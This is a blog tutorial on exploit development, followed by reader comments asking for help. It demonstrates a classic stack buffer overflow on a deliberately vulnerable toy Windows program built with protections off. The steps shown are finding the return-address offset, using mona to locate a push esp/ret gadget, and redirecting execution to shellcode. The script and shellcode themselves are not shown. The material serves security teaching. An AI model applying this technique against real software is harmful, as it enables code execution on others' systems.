Here’s a simple C/C++ program which has an obvious vulnerability:

The problem is that scanf() may keep writing beyond the end of the array name. To verify the vulnerability, run the program and enter a very long name such as

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program should print

Hi, aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa!

and then crash.

The interesting thing is that by entering a particular name, we can make the program execute arbitrary code.

First of all, in VS 2013, we’ll disable DEP and stack cookies, by going to Projectproperties, and modifying the configuration for Release as follows:

  • Configuration Properties
    • C/C++
      • Code Generation
        • Security Check: Disable Security Check (/GS-)
  • Linker
    • Advanced
      • Data Execution Prevention (DEP): No (/NXCOMPAT:NO)

This is our main() function in assembly:

int main() {
01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  
    char name[32];
    printf("Enter your name and press ENTER\n");
01391006 68 00 21 39 01       push        1392100h  
0139100B FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
    scanf("%s", name);
01391011 8D 45 E0             lea         eax,[name]  
01391014 50                   push        eax  
01391015 68 24 21 39 01       push        1392124h  
0139101A FF 15 94 20 39 01    call        dword ptr ds:[1392094h]  
    printf("Hi, %s!\n", name);
01391020 8D 45 E0             lea         eax,[name]  
01391023 50                   push        eax  
01391024 68 28 21 39 01       push        1392128h  
01391029 FF 15 8C 20 39 01    call        dword ptr ds:[139208Ch]  
0139102F 83 C4 14             add         esp,14h  
    return 0;
01391032 33 C0                xor         eax,eax  
}
01391034 8B E5                mov         esp,ebp  
01391036 5D                   pop         ebp  
01391037 C3                   ret

Here’s the assembly code which calls main():

            mainret = main(argc, argv, envp);
00261222 FF 35 34 30 26 00    push        dword ptr ds:[263034h]  
00261228 FF 35 30 30 26 00    push        dword ptr ds:[263030h]  
0026122E FF 35 2C 30 26 00    push        dword ptr ds:[26302Ch]  
00261234 E8 C7 FD FF FF       call        main (0261000h)  
00261239 83 C4 0C             add         esp,0Ch

As you should know, the stack grows towards lower addresses. The stack is like this after the three pushes above:

  esp -->  argc         ; third push
           argv         ; second push
           envp         ; first push

The call instruction pushes 0x261239 onto the stack so that the ret instruction can return to the code following the call instruction. Just after the call, at the beginning of the main() function, the stack is like this:

  esp -->  ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push

The main() function starts with

01391000 55                   push        ebp  
01391001 8B EC                mov         ebp,esp  
01391003 83 EC 20             sub         esp,20h  

After these three instructions, the stack looks like this:

  esp -->  name[0..3]   ; first 4 bytes of "name"
           name[4..7]
           .
           .
           .
           name[28..31] ; last 4 bytes of "name"
  ebp -->  saved ebp
           ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push

Now, scanf() reads data from the standard input and writes it into name. If the data is longer than 32 bytes, ret eip will be overwritten.

Let’s look at the last 3 instructions of main():

  01391034 8B E5                mov         esp,ebp  
  01391036 5D                   pop         ebp  
  01391037 C3                   ret

After mov esp, ebp, the stack looks like this:

esp,ebp -> saved ebp
           ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push

After pop ebp we have:

  esp -->  ret eip      ; 0x261239
           argc         ; third push
           argv         ; second push
           envp         ; first push

Finally, ret pops ret eip from the top of the stack and jumps to that address. If we change ret eip, we can redirect the flow of execution to wherever we want. As we’ve said, we can overwrite ret eip by writing beyond the end of the array name. This is possible because scanf() doesn’t check the length of the input.

By looking at the scheme above, you should convince yourself that ret eip is at the address name + 36.

In VS 2013, start the debugger by pressing F5 and enter a lot of as:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

The program should crash and a dialog should appear with this message:

Unhandled exception at 0x61616161 in exploitme1.exe: 0xC0000005: Access violation reading location 0x61616161.

The ASCII code for ‘a‘ is 0x61, so we overwrote ret eip with “aaaa“, i.e. 0x61616161, and the ret instruction jumped to 0x61616161 which is an invalid address. Now let’s verify that ret eip is at name + 36 by entering 36 “a“s, 4 “b“s and some “c“s:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccc

We’re greeted with the following message:

Unhandled exception at 0x62626262 in exploitme1.exe: 0xC0000005: Access violation reading location 0x62626262.

This confirms our guess. (Note that 0x62626262 is “bbbb“.)

To summarize, here’s our stack before and after scanf():

         name[0..3]                      aaaa
         name[4..7]                      aaaa
         .                               .
    B    .                          A    .
    E    .                          F    .
    F    name[28..31]  =========>   T    aaaa
    O    saved ebp                  E    aaaa
    R    ret eip                    R    bbbb
    E    argc                            cccc
         argv                            cccc
         envp                            cccc

To make things easier, let’s modify the program so that the text is read from the file c:\name.dat:

Create the file name.dat in c:\ with the following content:

aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbccccccccccccccccccccccccccc

Now load exploitme1.exe in WinDbg and hit F5 (go). You should see an exception:

(180c.5b0): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000000 ebx=00000000 ecx=6d383071 edx=00835451 esi=00000001 edi=00000000
eip=62626262 esp=0041f7d0 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00010246
62626262 ??              ???

Let’s have a look at the part of stack pointed to by ESP:

0:000> d @esp
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~
0041f830  00 00 00 00 00 00 00 00-00 00 00 00 20 f8 41 00  ............ .A.
0041f840  00 00 00 00 ff ff ff ff-f5 71 a3 77 28 10 9e 02  .........q.w(...
0:000> d @esp-0x20
0041f7b0  61 61 61 61 61 61 61 61-61 61 61 61 61 61 61 61  aaaaaaaaaaaaaaaa
0041f7c0  61 61 61 61 61 61 61 61-61 61 61 61 62 62 62 62  aaaaaaaaaaaabbbb
0041f7d0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0041f7e0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0041f7f0  dc f7 41 00 28 00 00 00-44 f8 41 00 09 17 35 01  ..A.(...D.A...5.
0041f800  b9 17 e0 fa 00 00 00 00-14 f8 41 00 8a 33 0c 76  ..........A..3.v
0041f810  00 e0 fd 7e 54 f8 41 00-72 9f 9f 77 00 e0 fd 7e  ...~T.A.r..w...~
0041f820  2c 2d 41 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  ,-Au...........~

Perfect! ESP points at our “c“s. Note that ESP is 0x41f7d0. Now let’s run exploitme1.exe again by pressing CTRL+SHIFT+F5 (restart) and F5 (go). Let’s look again at the stack:

0:000> d @esp
0042fce0  63 63 63 63 63 63 63 63-63 63 63 63 63 63 63 63  cccccccccccccccc
0042fcf0  63 63 63 63 63 63 63 63-63 63 63 00 00 00 00 00  ccccccccccc.....
0042fd00  ec fc 42 00 29 00 00 00-54 fd 42 00 09 17 12 00  ..B.)...T.B.....
0042fd10  94 7f 07 21 00 00 00 00-24 fd 42 00 8a 33 0c 76  ...!....$.B..3.v
0042fd20  00 e0 fd 7e 64 fd 42 00-72 9f 9f 77 00 e0 fd 7e  ...~d.B.r..w...~
0042fd30  c4 79 5c 75 00 00 00 00-00 00 00 00 00 e0 fd 7e  .y\u...........~
0042fd40  00 00 00 00 00 00 00 00-00 00 00 00 30 fd 42 00  ............0.B.
0042fd50  00 00 00 00 ff ff ff ff-f5 71 a3 77 f0 41 80 02  .........q.w.A..

As you can see, ESP still points at our “c“s, but the address is different. Let’s say we put our shellcode in place of the “c“s. We can’t overwrite ret eip with 0x42fce0 because the right address keeps changing. But ESP always point at our shellcode, so why don’t we overwrite ret eip with the address of a piece of memory containing a JMP ESP instruction?

Let’s use mona (refresher) to find this instruction:

0:000> .load pykd.pyd
0:000> !py mona
Hold on...
[+] Command used:
!py mona.py
     'mona' - Exploit Development Swiss Army Knife - WinDbg (32bit)
     Plugin version : 2.0 r554
     PyKD version 0.2.0.29
     Written by Corelan - https://www.corelan.be
     Project page : https://github.com/corelan/mona
    |------------------------------------------------------------------|
    |                                                                  |
    |    _____ ___  ____  ____  ____ _                                 |
    |    / __ `__ \/ __ \/ __ \/ __ `/  https://www.corelan.be         |
    |   / / / / / / /_/ / / / / /_/ /  https://www.corelan-training.com|
    |  /_/ /_/ /_/\____/_/ /_/\__,_/  #corelan (Freenode IRC)          |
    |                                                                  |
    |------------------------------------------------------------------|

Global options :
----------------
You can use one or more of the following global options on any command that will perform
a search in one or more modules, returning a list of pointers :
 -n                     : Skip modules that start with a null byte. If this is too broad, use
                          option -cm nonull instead
 -o                     : Ignore OS modules
 -p <nr>                : Stop search after <nr> pointers.
 -m <module,module,...> : only query the given modules. Be sure what you are doing !
                          You can specify multiple modules (comma separated)
                          Tip : you can use -m *  to include all modules. All other module criteria will be ignored
                          Other wildcards : *blah.dll = ends with blah.dll, blah* = starts with blah,
                          blah or *blah* = contains blah
 -cm <crit,crit,...>    : Apply some additional criteria to the modules to query.
                          You can use one or more of the following criteria :
                          aslr,safeseh,rebase,nx,os
                          You can enable or disable a certain criterium by setting it to true or false
                          Example :  -cm aslr=true,safeseh=false
                          Suppose you want to search for p/p/r in aslr enabled modules, you could call
                          !mona seh -cm aslr
 -cp <crit,crit,...>    : Apply some criteria to the pointers to return
                          Available options are :
                          unicode,ascii,asciiprint,upper,lower,uppernum,lowernum,numeric,alphanum,nonull,startswithnull,unicoderev
                          Note : Multiple criteria will be evaluated using 'AND', except if you are looking for unicode + one crit
 -cpb '\x00\x01'        : Provide list with bad chars, applies to pointers
                          You can use .. to indicate a range of bytes (in between 2 bad chars)
 -x <access>            : Specify desired access level of the returning pointers. If not specified,
                          only executable pointers will be return.
                          Access levels can be one of the following values : R,W,X,RW,RX,WX,RWX or *

Usage :
-------

 !mona <command> <parameter>

Available commands and parameters :

? / eval             | Evaluate an expression
allocmem / alloc     | Allocate some memory in the process
assemble / asm       | Convert instructions to opcode. Separate multiple instructions with #
bpseh / sehbp        | Set a breakpoint on all current SEH Handler function pointers
breakfunc / bf       | Set a breakpoint on an exported function in on or more dll's
breakpoint / bp      | Set a memory breakpoint on read/write or execute of a given address
bytearray / ba       | Creates a byte array, can be used to find bad characters
changeacl / ca       | Change the ACL of a given page
compare / cmp        | Compare contents of a binary file with a copy in memory
config / conf        | Manage configuration file (mona.ini)
copy / cp            | Copy bytes from one location to another
dump                 | Dump the specified range of memory to a file
dumplog / dl         | Dump objects present in alloc/free log file
dumpobj / do         | Dump the contents of an object
egghunter / egg      | Create egghunter code
encode / enc         | Encode a series of bytes
filecompare / fc     | Compares 2 or more files created by mona using the same output commands
fillchunk / fchunk   | Fill a heap chunk referenced by a register
find / f             | Find bytes in memory
findmsp / findmsf    | Find cyclic pattern in memory
findwild / fw        | Find instructions in memory, accepts wildcards
flow / flw           | Simulate execution flows, including all branch combinations
fwptr / fwp          | Find Writeable Pointers that get called
geteat / eat         | Show EAT of selected module(s)
getiat / iat         | Show IAT of selected module(s)
getpc                | Show getpc routines for specific registers
gflags / gf          | Show current GFlags settings from PEB.NtGlobalFlag
header               | Read a binary file and convert content to a nice 'header' string
heap                 | Show heap related information
help                 | show help
hidedebug / hd       | Attempt to hide the debugger
info                 | Show information about a given address in the context of the loaded application
infodump / if        | Dumps specific parts of memory to file
jmp / j              | Find pointers that will allow you to jump to a register
jop                  | Finds gadgets that can be used in a JOP exploit
kb / kb              | Manage Knowledgebase data
modules / mod        | Show all loaded modules and their properties
noaslr               | Show modules that are not aslr or rebased
nosafeseh            | Show modules that are not safeseh protected
nosafesehaslr        | Show modules that are not safeseh protected, not aslr and not rebased
offset               | Calculate the number of bytes between two addresses
pageacl / pacl       | Show ACL associated with mapped pages
pattern_create / pc  | Create a cyclic pattern of a given size
pattern_offset / po  | Find location of 4 bytes in a cyclic pattern
peb / peb            | Show location of the PEB
rop                  | Finds gadgets that can be used in a ROP exploit and do ROP magic with them
ropfunc              | Find pointers to pointers (IAT) to interesting functions that can be used in your ROP chain
seh                  | Find pointers to assist with SEH overwrite exploits
sehchain / exchain   | Show the current SEH chain
skeleton             | Create a Metasploit module skeleton with a cyclic pattern for a given type of exploit
stackpivot           | Finds stackpivots (move stackpointer to controlled area)
stacks               | Show all stacks for all threads in the running application
string / str         | Read or write a string from/to memory
suggest              | Suggest an exploit buffer structure
teb / teb            | Show TEB related information
tobp / 2bp           | Generate WinDbg syntax to create a logging breakpoint at given location
unicodealign / ua    | Generate venetian alignment code for unicode stack buffer overflow
update / up          | Update mona to the latest version

Want more info about a given command ?  Run !mona help

The line we’re interested in is this:

jmp / j              | Find pointers that will allow you to jump to a register

Let’s try it:

0:000> !py mona jmp
Hold on...
[+] Command used:
!py mona.py jmp
Usage :
Default module criteria : non aslr, non rebase
Mandatory argument :  -r   where reg is a valid register

[+] This mona.py action took 0:00:00

OK, we need another argument:

0:000> !py mona jmp -r ESP
Hold on...
[+] Command used:
!py mona.py jmp -r ESP

---------- Mona command started on 2015-03-18 02:30:53 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 0 modules
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
    Found a total of 0 pointers

[+] This mona.py action took 0:00:00.110000

Unfortunately, it didn’t find any module. The problem is that all the modules support ASLR (Address Space Layout Randomization), i.e. their base address changes every time they’re loaded into memory. For now, let’s pretend there is no ASLR and search for JMP ESP in the kernel32.dll module. Since this module is shared by every application, its position only changes when Windows is rebooted. This doesn’t make it less effective against exploits, but until we reboot Windows, we can pretend that there is no ASLR.

To tell mona to search in kernel32.dll we’ll use the global option -m:

0:000> !py mona jmp -r ESP -m kernel32.dll
Hold on...
[+] Command used:
!py mona.py jmp -r ESP -m kernel32.dll

---------- Mona command started on 2015-03-18 02:36:58 (v2.0, rev 554) ----------
[+] Processing arguments and criteria
    - Pointer access level : X
    - Only querying modules kernel32.dll
[+] Generating module info table, hang on...
    - Processing modules
    - Done. Let's rock 'n roll.
[+] Querying 1 modules
    - Querying module kernel32.dll
                                         ^ Memory access error in '!py mona jmp -r ESP -m kernel32.dll'
 ** Unable to process searchPattern 'mov eax,esp # jmp eax'. **
    - Search complete, processing results
[+] Preparing output file 'jmp.txt'
    - (Re)setting logfile jmp.txt
[+] Writing results to jmp.txt
    - Number of pointers of type 'call esp' : 2
    - Number of pointers of type 'push esp # ret ' : 1
[+] Results :
0x760e7133 |   0x760e7133 (b+0x00037133)  : call esp | ascii {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7614ceb2 |   0x7614ceb2 (b+0x0009ceb2)  : call esp |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: True, Rebase: False, SafeSEH: True, OS: True, v6.1.7601.18409 (C:\Windows\syswow64\kernel32.dll)
    Found a total of 3 pointers

[+] This mona.py action took 0:00:00.172000

OK! It found three addresses. Let’s use the last one:

0x7610a980 |   0x7610a980 (b+0x0005a980)  : push esp # ret  |  {PAGE_EXECUTE_READ}

Let’s verify that the address is correct:

0:000> u 0x7610a980
kernel32!GetProfileStringW+0x1d3e4:
7610a980 54              push    esp
7610a981 c3              ret
7610a982 1076db          adc     byte ptr [esi-25h],dh
7610a985 fa              cli
7610a986 157640c310      adc     eax,10C34076h
7610a98b 76c8            jbe     kernel32!GetProfileStringW+0x1d3b9 (7610a955)
7610a98d fa              cli
7610a98e 157630c310      adc     eax,10C33076h

As you can see, mona will not just search for JMP instructions but also for CALL and PUSH+RET instructions. So, we need to overwrite ret eip with 0x7610a980, i.e. with the bytes “\x80\xa9\x10\x76” (remember that Intel CPUs are little-endian).

Let’s write a little Python script. Let’s open IDLE and enter:

Restart exploitme1.exe in WinDbg, hit F5 and WinDbg will break on our shellcode (0xCC is the opcode for int 3 which is used by debuggers as a software breakpoint):

(1adc.1750): Break instruction exception - code 80000003 (first chance)
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for C:\Windows\syswow64\kernel32.dll -
eax=00000000 ebx=00000000 ecx=6d383071 edx=002e5437 esi=00000001 edi=00000000
eip=001cfbf8 esp=001cfbf8 ebp=61616161 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00000246
001cfbf8 cc              int     3

Now let’s add real shellcode:

That shellcode was created by using

Have a look at the article about shellcode for a refresher.

If you now run exploitme1.exe, a calculator should pop up. Wow… our first exploit!

Troubleshooting

If the exploit doesn’t work on your system, it might be because of limited space on the stack. Read the article More space on the stack.

The following two tabs change content below.

Massimiliano Tomassoli

Computer scientist, software developer, reverse engineer and student of computer security (+ piano player & music composer)

Latest posts by Massimiliano Tomassoli (see all)

Leave a Reply

17 Comments on "Exploitme1 (“ret eip” overwrite)"

Notify of

Sort by:   newest | oldest | most voted
Guest
ZION
1 year 4 months ago

Good Morning when I try the following Exploit the following target I get this very weird exception in Windbg also I tried to free up more space in the program but that failed, I made sure to check if my payload was written correctly and it was also I checked my return address. Not sure what the issue is here

Exploitme_c!failwithmessage+0x1ff:
00f91aaf cc int 3
c0000005 Exception in debugger client IDebugEventCallbacks::ChangeSymbolState callback.
PC: 5761d63d VA: 57afe860 R/W: 0 Parameter: 0001003f

Guest
catter
1 year 10 months ago

when i run the command :!py mona .there is some wrong ,Like this :
Traceback (most recent call last):

File “C:Program Files (x86)Windows Kits8.1Debuggersx86mona.py”, line 148, in
osver = dbg.getOsVersion()

File “C:Program Files (x86)Windows Kits8.1Debuggersx86windbglib.py”, line 770, in getOsVersion
return getOSVersion()

File “C:Program Files (x86)Windows Kits8.1Debuggersx86windbglib.py”, line 82, in getOSVersion
peb = getPEBInfo()

File “C:Program Files (x86)Windows Kits8.1Debuggersx86windbglib.py”, line 116, in getPEBInfo
return typedVar( “ntdll!_PEB”, getCurrentProcess())

BaseException: File: .diasymexport.cpp Line: 103 TODO
==============================
how to solve this problem

Guest
DEADBEEF
1 year 10 months ago

Sorry for so many probably n00b questions. Trying to see this example work though. I can clearly see the example with shellcode of ‘int 3’ working as expected but when I use the expanded shellcode designed to invoke calc.exe I get an access violation exception during the fread() call inside memcpy…eg,,

First-chance exception at 0x0040771C in Exploitme1.exe: 0xC0000005: Access violation writing location 0x00190000.
Unhandled exception at 0x0040771C in Exploitme1.exe: 0xC0000005: Access violation writing location 0x00190000.

Exploitme1!TrailDownVec+0xc0:
00407a34 660f7f7760 movdqa xmmword ptr [edi+60h],xmm6 ds:002b:00190000=0000330c000000010000002078746341

Any ideas why I might be seeing that happen? Is there some kind of stack boundary check happening in the fread()?

Guest
DEADBEEF
1 year 10 months ago

For me when I tried “!py mona jmp -r ESP -m kernel32.dll” I only found total of one pointer in kernel32.dll which is of type ‘call esp’ (not push ret). Any idea what to do to follow along in this case? Maybe can try some other module?

Guest
DEADBEEF
1 year 10 months ago

I have /GS- and /NXCOMPAT:NO for exploitme1 but I am still getting an exception caught for “Stack cookie instrumentation code detected a stack-based buffer overrun”. So I can’t follow the technique that detects location by changing ‘aaaa’ to ‘bbbb’ (ie. No exception at 0x16161616). Any idea why this would happen? (I am using VS2013 Community vsn). Note I also tried disabling exceptions but it still occurs.

wpDiscuz